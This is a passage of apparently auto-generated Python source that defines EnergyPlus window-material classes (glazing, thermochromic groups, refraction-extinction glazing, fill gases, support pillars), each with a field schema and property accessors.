0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'W/m-K'}), (u'dirt correction factor for solar and visible transmittance', {'name': u'Dirt Correction Factor for Solar and Visible Transmittance', 'pyname': u'dirt_correction_factor_for_solar_and_visible_transmittance', 'default': 1.0, 'minimum>': 0.0, 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real'}), (u'solar diffusing', {'name': u'Solar Diffusing', 'pyname': u'solar_diffusing', 'default': u'No', 'required-field': False, 'autosizable': False, 'accepted-values': [u'No', u'Yes'], 'autocalculatable': False, 'type': 'alpha'}), (u"young's modulus", {'name': u"Young's modulus", 'pyname': u'youngs_modulus', 'default': 72000000000.0, 'minimum>': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'Pa'}), (u"poisson's ratio", {'name': u"Poisson's ratio", 'pyname': u'poissons_ratio', 'default': 0.22, 'minimum>': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'maximum<': 1.0})]), 'format': None, 'group': u'Surface Construction Elements', 'min-fields': 14, 'name': u'WindowMaterial:Glazing', 'pyname': u'WindowMaterialGlazing', 'required-object': False, 'unique-object': False} @property def name(self): """field `Name` Args: value (str): value for IDD Field `Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `name` or None if not set """ return self["Name"] @name.setter def name(self, value=None): """Corresponds to IDD field `Name`""" self["Name"] = value @property def optical_data_type(self): """field `Optical Data Type` Args: value (str): value for IDD Field `Optical Data Type` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `optical_data_type` or None if not set """ return self["Optical Data Type"] @optical_data_type.setter def optical_data_type(self, value=None): """Corresponds to IDD field `Optical Data Type`""" self["Optical Data Type"] = value @property def window_glass_spectral_data_set_name(self): """field `Window Glass Spectral Data Set Name` | Used only when Optical Data Type = Spectral Args: value (str): value for IDD Field `Window Glass Spectral Data Set Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `window_glass_spectral_data_set_name` or None if not set """ return self["Window Glass Spectral Data Set Name"] @window_glass_spectral_data_set_name.setter def window_glass_spectral_data_set_name(self, value=None): """Corresponds to IDD field `Window Glass Spectral Data Set Name`""" self["Window Glass Spectral Data Set Name"] = value @property def thickness(self): """field `Thickness` | Units: m | IP-Units: in Args: value (float): value for IDD Field `Thickness` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `thickness` or None if not set """ return self["Thickness"] @thickness.setter def thickness(self, value=None): """Corresponds to IDD field `Thickness`""" self["Thickness"] = value @property def solar_transmittance_at_normal_incidence(self): """field `Solar Transmittance at Normal Incidence` | Used only when Optical Data Type = SpectralAverage | value <= 1.0 Args: value (float): value for IDD Field `Solar Transmittance at Normal Incidence` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `solar_transmittance_at_normal_incidence` or None if not set """ return self["Solar Transmittance at Normal Incidence"] @solar_transmittance_at_normal_incidence.setter def solar_transmittance_at_normal_incidence(self, value=None): """Corresponds to IDD field `Solar Transmittance at Normal Incidence`""" self["Solar Transmittance at Normal Incidence"] = value @property def front_side_solar_reflectance_at_normal_incidence(self): """field `Front Side Solar Reflectance at Normal Incidence` | Used only when Optical Data Type = SpectralAverage | Front Side is side closest to outdoor air | value <= 1.0 Args: value (float): value for IDD Field `Front Side Solar Reflectance at Normal Incidence` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `front_side_solar_reflectance_at_normal_incidence` or None if not set """ return self["Front Side Solar Reflectance at Normal Incidence"] @front_side_solar_reflectance_at_normal_incidence.setter def front_side_solar_reflectance_at_normal_incidence(self, value=None): """Corresponds to IDD field `Front Side Solar Reflectance at Normal Incidence`""" self["Front Side Solar Reflectance at Normal Incidence"] = value @property def back_side_solar_reflectance_at_normal_incidence(self): """field `Back Side Solar Reflectance at Normal Incidence` | Used only when Optical Data Type = SpectralAverage | Back Side is side closest to zone air | value <= 1.0 Args: value (float): value for IDD Field `Back Side Solar Reflectance at Normal Incidence` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `back_side_solar_reflectance_at_normal_incidence` or None if not set """ return self["Back Side Solar Reflectance at Normal Incidence"] @back_side_solar_reflectance_at_normal_incidence.setter def back_side_solar_reflectance_at_normal_incidence(self, value=None): """Corresponds to IDD field `Back Side Solar Reflectance at Normal Incidence`""" self["Back Side Solar Reflectance at Normal Incidence"] = value @property def visible_transmittance_at_normal_incidence(self): """field `Visible Transmittance at Normal Incidence` | Used only when Optical Data Type = SpectralAverage | value <= 1.0 Args: value (float): value for IDD Field `Visible Transmittance at Normal Incidence` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `visible_transmittance_at_normal_incidence` or None if not set """ return self["Visible Transmittance at Normal Incidence"] @visible_transmittance_at_normal_incidence.setter def visible_transmittance_at_normal_incidence(self, value=None): """Corresponds to IDD field `Visible Transmittance at Normal Incidence`""" self["Visible Transmittance at Normal Incidence"] = value @property def front_side_visible_reflectance_at_normal_incidence(self): """field `Front Side Visible Reflectance at Normal Incidence` | Used only when Optical Data Type = SpectralAverage | value <= 1.0 Args: value (float): value for IDD Field `Front Side Visible Reflectance at Normal Incidence` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `front_side_visible_reflectance_at_normal_incidence` or None if not set """ return self["Front Side Visible Reflectance at Normal Incidence"] @front_side_visible_reflectance_at_normal_incidence.setter def front_side_visible_reflectance_at_normal_incidence(self, value=None): """Corresponds to IDD field `Front Side Visible Reflectance at Normal Incidence`""" self["Front Side Visible Reflectance at Normal Incidence"] = value @property def back_side_visible_reflectance_at_normal_incidence(self): """field `Back Side Visible Reflectance at Normal Incidence` | Used only when Optical Data Type = SpectralAverage | value <= 1.0 Args: value (float): value for IDD Field `Back Side Visible Reflectance at Normal Incidence` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `back_side_visible_reflectance_at_normal_incidence` or None if not set """ return self["Back Side Visible Reflectance at Normal Incidence"] @back_side_visible_reflectance_at_normal_incidence.setter def back_side_visible_reflectance_at_normal_incidence(self, value=None): """Corresponds to IDD field `Back Side Visible Reflectance at Normal Incidence`""" self["Back Side Visible Reflectance at Normal Incidence"] = value @property def infrared_transmittance_at_normal_incidence(self): """field `Infrared Transmittance at Normal Incidence` | value <= 1.0 Args: value (float): value for IDD Field `Infrared Transmittance at Normal Incidence` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `infrared_transmittance_at_normal_incidence` or None if not set """ return self["Infrared Transmittance at Normal Incidence"] @infrared_transmittance_at_normal_incidence.setter def infrared_transmittance_at_normal_incidence(self, value=None): """Corresponds to IDD field `Infrared Transmittance at Normal Incidence`""" self["Infrared Transmittance at Normal Incidence"] = value @property def front_side_infrared_hemispherical_emissivity(self): """field `Front Side Infrared Hemispherical Emissivity` | Default value: 0.84 | value < 1.0 Args: value (float): value for IDD Field `Front Side Infrared Hemispherical Emissivity` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `front_side_infrared_hemispherical_emissivity` or None if not set """ return self["Front Side Infrared Hemispherical Emissivity"] @front_side_infrared_hemispherical_emissivity.setter def front_side_infrared_hemispherical_emissivity(self, value=0.84): """Corresponds to IDD field `Front Side Infrared Hemispherical Emissivity`""" self["Front Side Infrared Hemispherical Emissivity"] = value @property def back_side_infrared_hemispherical_emissivity(self): """field `Back Side Infrared Hemispherical Emissivity` | Default value: 0.84 | value < 1.0 Args: value (float): value for IDD Field `Back Side Infrared Hemispherical Emissivity` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `back_side_infrared_hemispherical_emissivity` or None if not set """ return self["Back Side Infrared Hemispherical Emissivity"] @back_side_infrared_hemispherical_emissivity.setter def back_side_infrared_hemispherical_emissivity(self, value=0.84): """Corresponds to IDD field `Back Side Infrared Hemispherical Emissivity`""" self["Back Side Infrared Hemispherical Emissivity"] = value @property def conductivity(self): """field `Conductivity` | Units: W/m-K | Default value: 0.9 Args: value (float): value for IDD Field `Conductivity` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `conductivity` or None if not set """ return self["Conductivity"] @conductivity.setter def conductivity(self, value=0.9): """Corresponds to IDD field `Conductivity`""" self["Conductivity"] = value @property def dirt_correction_factor_for_solar_and_visible_transmittance(self): """field `Dirt Correction Factor for Solar and Visible Transmittance` | Default value: 1.0 | value <= 1.0 Args: value (float): value for IDD Field `Dirt Correction Factor for Solar and Visible Transmittance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `dirt_correction_factor_for_solar_and_visible_transmittance` or None if not set """ return self[ "Dirt Correction Factor for Solar and Visible Transmittance"] @dirt_correction_factor_for_solar_and_visible_transmittance.setter def dirt_correction_factor_for_solar_and_visible_transmittance( self, value=1.0): """Corresponds to IDD field `Dirt Correction Factor for Solar and Visible Transmittance`""" self[ "Dirt Correction Factor for Solar and Visible Transmittance"] = value @property def solar_diffusing(self): """field `Solar Diffusing` | Default value: No Args: value (str): value for IDD Field `Solar Diffusing` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `solar_diffusing` or None if not set """ return self["Solar Diffusing"] @solar_diffusing.setter def solar_diffusing(self, value="No"): """Corresponds to IDD field `Solar Diffusing`""" self["Solar Diffusing"] = value @property def youngs_modulus(self): """field `Young's modulus` | coefficient used for deflection calculations. Used only with complex | fenestration when deflection model is set to TemperatureAndPressureInput | Units: Pa | Default value: 72000000000.0 Args: value (float): value for IDD Field `Young's modulus` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `youngs_modulus` or None if not set """ return self["Young's modulus"] @youngs_modulus.setter def youngs_modulus(self, value=72000000000.0): """Corresponds to IDD field `Young's modulus`""" self["Young's modulus"] = value @property def poissons_ratio(self): """field `Poisson's ratio` | coefficient used for deflection calculations. Used only with complex | fenestration when deflection model is set to TemperatureAndPressureInput | Default value: 0.22 | value < 1.0 Args: value (float): value for IDD Field `Poisson's ratio` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `poissons_ratio` or None if not set """ return self["Poisson's ratio"] @poissons_ratio.setter def poissons_ratio(self, value=0.22): """Corresponds to IDD field `Poisson's ratio`""" self["Poisson's ratio"] = value class WindowMaterialGlazingGroupThermochromic(DataObject): """ Corresponds to IDD object `WindowMaterial:GlazingGroup:Thermochromic` thermochromic glass at different temperatures """ _schema = {'extensible-fields': OrderedDict([(u'optical data temperature 1', {'name': u'Optical Data Temperature 1', 'pyname': u'optical_data_temperature_1', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'C'}), (u'window material glazing name 1', {'name': u'Window Material Glazing Name 1', 'pyname': u'window_material_glazing_name_1', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'})]), 'fields': OrderedDict([(u'name', {'name': u'Name', 'pyname': u'name', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'alpha'})]), 'format': None, 'group': u'Surface Construction Elements', 'min-fields': 3, 'name': u'WindowMaterial:GlazingGroup:Thermochromic', 'pyname': u'WindowMaterialGlazingGroupThermochromic', 'required-object': False, 'unique-object': False} @property def name(self): """field `Name` Args: value (str): value for IDD Field `Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `name` or None if not set """ return self["Name"] @name.setter def name(self, value=None): """Corresponds to IDD field `Name`""" self["Name"] = value def add_extensible(self, optical_data_temperature_1=None, window_material_glazing_name_1=None, ): """Add values for extensible fields. Args: optical_data_temperature_1 (float): value for IDD Field `Optical Data Temperature 1` Units: C IP-Units: F if `value` is None it will not be checked against the specification and is assumed to be a missing value window_material_glazing_name_1 (str): value for IDD Field `Window Material Glazing Name 1` if `value` is None it will not be checked against the specification and is assumed to be a missing value """ vals = [] optical_data_temperature_1 = self.check_value( "Optical Data Temperature 1", optical_data_temperature_1) vals.append(optical_data_temperature_1) window_material_glazing_name_1 = self.check_value( "Window Material Glazing Name 1", window_material_glazing_name_1) vals.append(window_material_glazing_name_1) self._extdata.append(vals) @property def extensibles(self): """Get list of all extensibles.""" return self._extdata @extensibles.setter def extensibles(self, extensibles): """Replaces extensible fields with `extensibles` Args: extensibles (list): nested list of extensible values """ self._extdata = [] for ext in extensibles: self.add_extensible(*ext) class WindowMaterialGlazingRefractionExtinctionMethod(DataObject): """ Corresponds to IDD object `WindowMaterial:Glazing:RefractionExtinctionMethod` Glass material properties for Windows or Glass Doors Index of Refraction/Extinction Coefficient input method Not to be used for coated glass """ _schema = {'extensible-fields': OrderedDict(), 'fields': OrderedDict([(u'name', {'name': u'Name', 'pyname': u'name', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'alpha'}), (u'thickness', {'name': u'Thickness', 'pyname': u'thickness', 'minimum>': 0.0, 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'm'}), (u'solar index of refraction', {'name': u'Solar Index of Refraction', 'pyname': u'solar_index_of_refraction', 'minimum>': 1.0, 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'real'}), (u'solar extinction coefficient', {'name': u'Solar Extinction Coefficient', 'pyname': u'solar_extinction_coefficient', 'minimum>': 0.0, 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'1/m'}), (u'visible index of refraction', {'name': u'Visible Index of Refraction', 'pyname': u'visible_index_of_refraction', 'minimum>': 1.0, 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'real'}), (u'visible extinction coefficient', {'name': u'Visible Extinction Coefficient', 'pyname': u'visible_extinction_coefficient', 'minimum>': 0.0, 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'1/m'}), (u'infrared transmittance at normal incidence', {'name': u'Infrared Transmittance at Normal Incidence', 'pyname': u'infrared_transmittance_at_normal_incidence', 'default': 0.0, 'maximum<': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real'}), (u'infrared hemispherical emissivity', {'name': u'Infrared Hemispherical Emissivity', 'pyname': u'infrared_hemispherical_emissivity', 'default': 0.84, 'minimum>': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'maximum<': 1.0}), (u'conductivity', {'name': u'Conductivity', 'pyname': u'conductivity', 'default': 0.9, 'minimum>': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'W/m-K'}), (u'dirt correction factor for solar and visible transmittance', {'name': u'Dirt Correction Factor for Solar and Visible Transmittance', 'pyname': u'dirt_correction_factor_for_solar_and_visible_transmittance', 'default': 1.0, 'minimum>': 0.0, 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real'}), (u'solar diffusing', {'name': u'Solar Diffusing', 'pyname': u'solar_diffusing', 'default': u'No', 'required-field': False, 'autosizable': False, 'accepted-values': [u'No', u'Yes'], 'autocalculatable': False, 'type': 'alpha'})]), 'format': None, 'group': u'Surface Construction Elements', 'min-fields': 0, 'name': u'WindowMaterial:Glazing:RefractionExtinctionMethod', 'pyname': u'WindowMaterialGlazingRefractionExtinctionMethod', 'required-object': False, 'unique-object': False} @property def name(self): """field `Name` Args: value (str): value for IDD Field `Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `name` or None if not set """ return self["Name"] @name.setter def name(self, value=None): """Corresponds to IDD field `Name`""" self["Name"] = value @property def thickness(self): """field `Thickness` | Units: m | IP-Units: in Args: value (float): value for IDD Field `Thickness` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `thickness` or None if not set """ return self["Thickness"] @thickness.setter def thickness(self, value=None): """Corresponds to IDD field `Thickness`""" self["Thickness"] = value @property def solar_index_of_refraction(self): """field `Solar Index of Refraction` | value > 1.0 Args: value (float): value for IDD Field `Solar Index of Refraction` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `solar_index_of_refraction` or None if not set """ return self["Solar Index of Refraction"] @solar_index_of_refraction.setter def solar_index_of_refraction(self, value=None): """Corresponds to IDD field `Solar Index of Refraction`""" self["Solar Index of Refraction"] = value @property def solar_extinction_coefficient(self): """field `Solar Extinction Coefficient` | Units: 1/m Args: value (float): value for IDD Field `Solar Extinction Coefficient` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `solar_extinction_coefficient` or None if not set """ return self["Solar Extinction Coefficient"] @solar_extinction_coefficient.setter def solar_extinction_coefficient(self, value=None): """Corresponds to IDD field `Solar Extinction Coefficient`""" self["Solar Extinction Coefficient"] = value @property def visible_index_of_refraction(self): """field `Visible Index of Refraction` | value > 1.0 Args: value (float): value for IDD Field `Visible Index of Refraction` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `visible_index_of_refraction` or None if not set """ return self["Visible Index of Refraction"] @visible_index_of_refraction.setter def visible_index_of_refraction(self, value=None): """Corresponds to IDD field `Visible Index of Refraction`""" self["Visible Index of Refraction"] = value @property def visible_extinction_coefficient(self): """field `Visible Extinction Coefficient` | Units: 1/m Args: value (float): value for IDD Field `Visible Extinction Coefficient` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `visible_extinction_coefficient` or None if not set """ return self["Visible Extinction Coefficient"] @visible_extinction_coefficient.setter def visible_extinction_coefficient(self, value=None): """Corresponds to IDD field `Visible Extinction Coefficient`""" self["Visible Extinction Coefficient"] = value @property def infrared_transmittance_at_normal_incidence(self): """field `Infrared Transmittance at Normal Incidence` | value < 1.0 Args: value (float): value for IDD Field `Infrared Transmittance at Normal Incidence` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `infrared_transmittance_at_normal_incidence` or None if not set """ return self["Infrared Transmittance at Normal Incidence"] @infrared_transmittance_at_normal_incidence.setter def infrared_transmittance_at_normal_incidence(self, value=None): """Corresponds to IDD field `Infrared Transmittance at Normal Incidence`""" self["Infrared Transmittance at Normal Incidence"] = value @property def infrared_hemispherical_emissivity(self): """field `Infrared Hemispherical Emissivity` | Emissivity of front and back side assumed equal | Default value: 0.84 | value < 1.0 Args: value (float): value for IDD Field `Infrared Hemispherical Emissivity` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `infrared_hemispherical_emissivity` or None if not set """ return self["Infrared Hemispherical Emissivity"] @infrared_hemispherical_emissivity.setter def infrared_hemispherical_emissivity(self, value=0.84): """Corresponds to IDD field `Infrared Hemispherical Emissivity`""" self["Infrared Hemispherical Emissivity"] = value @property def conductivity(self): """field `Conductivity` | Units: W/m-K | Default value: 0.9 Args: value (float): value for IDD Field `Conductivity` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `conductivity` or None if not set """ return self["Conductivity"] @conductivity.setter def conductivity(self, value=0.9): """Corresponds to IDD field `Conductivity`""" self["Conductivity"] = value @property def dirt_correction_factor_for_solar_and_visible_transmittance(self): """field `Dirt Correction Factor for Solar and Visible Transmittance` | Default value: 1.0 | value <= 1.0 Args: value (float): value for IDD Field `Dirt Correction Factor for Solar and Visible Transmittance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `dirt_correction_factor_for_solar_and_visible_transmittance` or None if not set """ return self[ "Dirt Correction Factor for Solar and Visible Transmittance"] @dirt_correction_factor_for_solar_and_visible_transmittance.setter def dirt_correction_factor_for_solar_and_visible_transmittance( self, value=1.0): """Corresponds to IDD field `Dirt Correction Factor for Solar and Visible Transmittance`""" self[ "Dirt Correction Factor for Solar and Visible Transmittance"] = value @property def solar_diffusing(self): """field `Solar Diffusing` | Default value: No Args: value (str): value for IDD Field `Solar Diffusing` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `solar_diffusing` or None if not set """ return self["Solar Diffusing"] @solar_diffusing.setter def solar_diffusing(self, value="No"): """Corresponds to IDD field `Solar Diffusing`""" self["Solar Diffusing"] = value class WindowMaterialGas(DataObject): """ Corresponds to IDD object `WindowMaterial:Gas` Gas material properties that are used in Windows or Glass Doors """ _schema = {'extensible-fields': OrderedDict(), 'fields': OrderedDict([(u'name', {'name': u'Name', 'pyname': u'name', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'alpha'}), (u'gas type', {'name': u'Gas Type', 'pyname': u'gas_type', 'required-field': True, 'autosizable': False, 'accepted-values': [u'Air', u'Argon', u'Krypton', u'Xenon', u'Custom'], 'autocalculatable': False, 'type': 'alpha'}), (u'thickness', {'name': u'Thickness', 'pyname': u'thickness', 'minimum>': 0.0, 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'm'}), (u'conductivity coefficient a', {'name': u'Conductivity Coefficient A', 'pyname': u'conductivity_coefficient_a', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'W/m-K'}), (u'conductivity coefficient b', {'name': u'Conductivity Coefficient B', 'pyname': u'conductivity_coefficient_b', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'W/m-K2'}), (u'conductivity coefficient c', {'name': u'Conductivity Coefficient C', 'pyname': u'conductivity_coefficient_c', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'W/m-K3'}), (u'viscosity coefficient a', {'name': u'Viscosity Coefficient A', 'pyname': u'viscosity_coefficient_a', 'minimum>': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'kg/m-s'}), (u'viscosity coefficient b', {'name': u'Viscosity Coefficient B', 'pyname': u'viscosity_coefficient_b', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'kg/m-s-K'}), (u'viscosity coefficient c', {'name': u'Viscosity Coefficient C', 'pyname': u'viscosity_coefficient_c', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'kg/m-s-K2'}), (u'specific heat coefficient a', {'name': u'Specific Heat Coefficient A', 'pyname': u'specific_heat_coefficient_a', 'minimum>': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'J/kg-K'}), (u'specific heat coefficient b', {'name': u'Specific Heat Coefficient B', 'pyname': u'specific_heat_coefficient_b', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'J/kg-K2'}), (u'specific heat coefficient c', {'name': u'Specific Heat Coefficient C', 'pyname': u'specific_heat_coefficient_c', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'J/kg-K3'}), (u'molecular weight', {'name': u'Molecular Weight', 'pyname': u'molecular_weight', 'maximum': 200.0, 'required-field': False, 'autosizable': False, 'minimum': 20.0, 'autocalculatable': False, 'type': u'real', 'unit': u'g/mol'}), (u'specific heat ratio', {'name': u'Specific Heat Ratio', 'pyname': u'specific_heat_ratio', 'minimum>': 1.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real'})]), 'format': None, 'group': u'Surface Construction Elements', 'min-fields': 3, 'name': u'WindowMaterial:Gas', 'pyname': u'WindowMaterialGas', 'required-object': False, 'unique-object': False} @property def name(self): """field `Name` Args: value (str): value for IDD Field `Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `name` or None if not set """ return self["Name"] @name.setter def name(self, value=None): """Corresponds to IDD field `Name`""" self["Name"] = value @property def gas_type(self): """field `Gas Type` Args: value (str): value for IDD Field `Gas Type` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `gas_type` or None if not set """ return self["Gas Type"] @gas_type.setter def gas_type(self, value=None): """Corresponds to IDD field `Gas Type`""" self["Gas Type"] = value @property def thickness(self): """field `Thickness` | Units: m | IP-Units: in Args: value (float): value for IDD Field `Thickness` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `thickness` or None if not set """ return self["Thickness"] @thickness.setter def thickness(self, value=None): """Corresponds to IDD field `Thickness`""" self["Thickness"] = value @property def conductivity_coefficient_a(self): """field `Conductivity Coefficient A` | Used only if Gas Type = Custom | Units: W/m-K Args: value (float): value for IDD Field `Conductivity Coefficient A` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `conductivity_coefficient_a` or None if not set """ return self["Conductivity Coefficient A"] @conductivity_coefficient_a.setter def conductivity_coefficient_a(self, value=None): """Corresponds to IDD field `Conductivity Coefficient A`""" self["Conductivity Coefficient A"] = value @property def conductivity_coefficient_b(self): """field `Conductivity Coefficient B` | Used only if Gas Type = Custom | Units: W/m-K2 Args: value (float): value for IDD Field `Conductivity Coefficient B` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `conductivity_coefficient_b` or None if not set """ return self["Conductivity Coefficient B"] @conductivity_coefficient_b.setter def conductivity_coefficient_b(self, value=None): """Corresponds to IDD field `Conductivity Coefficient B`""" self["Conductivity Coefficient B"] = value @property def conductivity_coefficient_c(self): """field `Conductivity Coefficient C` | Used only if Gas Type = Custom | Units: W/m-K3 Args: value (float): value for IDD Field `Conductivity Coefficient C` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `conductivity_coefficient_c` or None if not set """ return self["Conductivity Coefficient C"] @conductivity_coefficient_c.setter def conductivity_coefficient_c(self, value=None): """Corresponds to IDD field `Conductivity Coefficient C`""" self["Conductivity Coefficient C"] = value @property def viscosity_coefficient_a(self): """field `Viscosity Coefficient A` | Used only if Gas Type = Custom | Units: kg/m-s Args: value (float): value for IDD Field `Viscosity Coefficient A` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `viscosity_coefficient_a` or None if not set """ return self["Viscosity Coefficient A"] @viscosity_coefficient_a.setter def viscosity_coefficient_a(self, value=None): """Corresponds to IDD field `Viscosity Coefficient A`""" self["Viscosity Coefficient A"] = value @property def viscosity_coefficient_b(self): """field `Viscosity Coefficient B` | Used only if Gas Type = Custom | Units: kg/m-s-K Args: value (float): value for IDD Field `Viscosity Coefficient B` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `viscosity_coefficient_b` or None if not set """ return self["Viscosity Coefficient B"] @viscosity_coefficient_b.setter def viscosity_coefficient_b(self, value=None): """Corresponds to IDD field `Viscosity Coefficient B`""" self["Viscosity Coefficient B"] = value @property def viscosity_coefficient_c(self): """field `Viscosity Coefficient C` | Used only if Gas Type = Custom | Units: kg/m-s-K2 Args: value (float): value for IDD Field `Viscosity Coefficient C` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `viscosity_coefficient_c` or None if not set """ return self["Viscosity Coefficient C"] @viscosity_coefficient_c.setter def viscosity_coefficient_c(self, value=None): """Corresponds to IDD field `Viscosity Coefficient C`""" self["Viscosity Coefficient C"] = value @property def specific_heat_coefficient_a(self): """field `Specific Heat Coefficient A` | Used only if Gas Type = Custom | Units: J/kg-K Args: value (float): value for IDD Field `Specific Heat Coefficient A` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `specific_heat_coefficient_a` or None if not set """ return self["Specific Heat Coefficient A"] @specific_heat_coefficient_a.setter def specific_heat_coefficient_a(self, value=None): """Corresponds to IDD field `Specific Heat Coefficient A`""" self["Specific Heat Coefficient A"] = value @property def specific_heat_coefficient_b(self): """field `Specific Heat Coefficient B` | Used only if Gas Type = Custom | Units: J/kg-K2 Args: value (float): value for IDD Field `Specific Heat Coefficient B` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `specific_heat_coefficient_b` or None if not set """ return self["Specific Heat Coefficient B"] @specific_heat_coefficient_b.setter def specific_heat_coefficient_b(self, value=None): """Corresponds to IDD field `Specific Heat Coefficient B`""" self["Specific Heat Coefficient B"] = value @property def specific_heat_coefficient_c(self): """field `Specific Heat Coefficient C` | Used only if Gas Type = Custom | Units: J/kg-K3 Args: value (float): value for IDD Field `Specific Heat Coefficient C` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `specific_heat_coefficient_c` or None if not set """ return self["Specific Heat Coefficient C"] @specific_heat_coefficient_c.setter def specific_heat_coefficient_c(self, value=None): """Corresponds to IDD field `Specific Heat Coefficient C`""" self["Specific Heat Coefficient C"] = value @property def molecular_weight(self): """field `Molecular Weight` | Used only if Gas Type = Custom | Units: g/mol | value >= 20.0 | value <= 200.0 Args: value (float): value for IDD Field `Molecular Weight` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `molecular_weight` or None if not set """ return self["Molecular Weight"] @molecular_weight.setter def molecular_weight(self, value=None): """Corresponds to IDD field `Molecular Weight`""" self["Molecular Weight"] = value @property def specific_heat_ratio(self): """field `Specific Heat Ratio` | Used only if Gas Type = Custom | value > 1.0 Args: value (float): value for IDD Field `Specific Heat Ratio` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `specific_heat_ratio` or None if not set """ return self["Specific Heat Ratio"] @specific_heat_ratio.setter def specific_heat_ratio(self, value=None): """Corresponds to IDD field `Specific Heat Ratio`""" self["Specific Heat Ratio"] = value class WindowGapSupportPillar(DataObject): """ Corresponds to IDD object `WindowGap:SupportPillar` used to define pillar geometry for support pillars """ _schema = {'extensible-fields': OrderedDict(), 'fields': OrderedDict([(u'name', {'name': u'Name', 'pyname': u'name', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'alpha'}), (u'spacing', {'name': u'Spacing', 'pyname': u'spacing', 'default': 0.04, 'minimum>': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'm'}), (u'radius', {'name': u'Radius', 'pyname': u'radius', 'default': 0.0004, 'minimum>': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'm'})]), 'format': None, 'group': u'Surface Construction Elements', 'min-fields': 0, 'name': u'WindowGap:SupportPillar', 'pyname': u'WindowGapSupportPillar', 'required-object': False, 'unique-object': False} @property def name(self): """field `Name` Args: value (str): value for IDD Field `Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `name` or None if not set """ return self["Name"] @name.setter def name(self, value=None): """Corresponds to IDD field `Name`""" self["Name"] = value @property def spacing(self): """field `Spacing` | Units: m | Default value: 0.04 Args: value (float): value for IDD Field `Spacing` Raises: ValueError: if `value` is not a valid value Returns: float: the 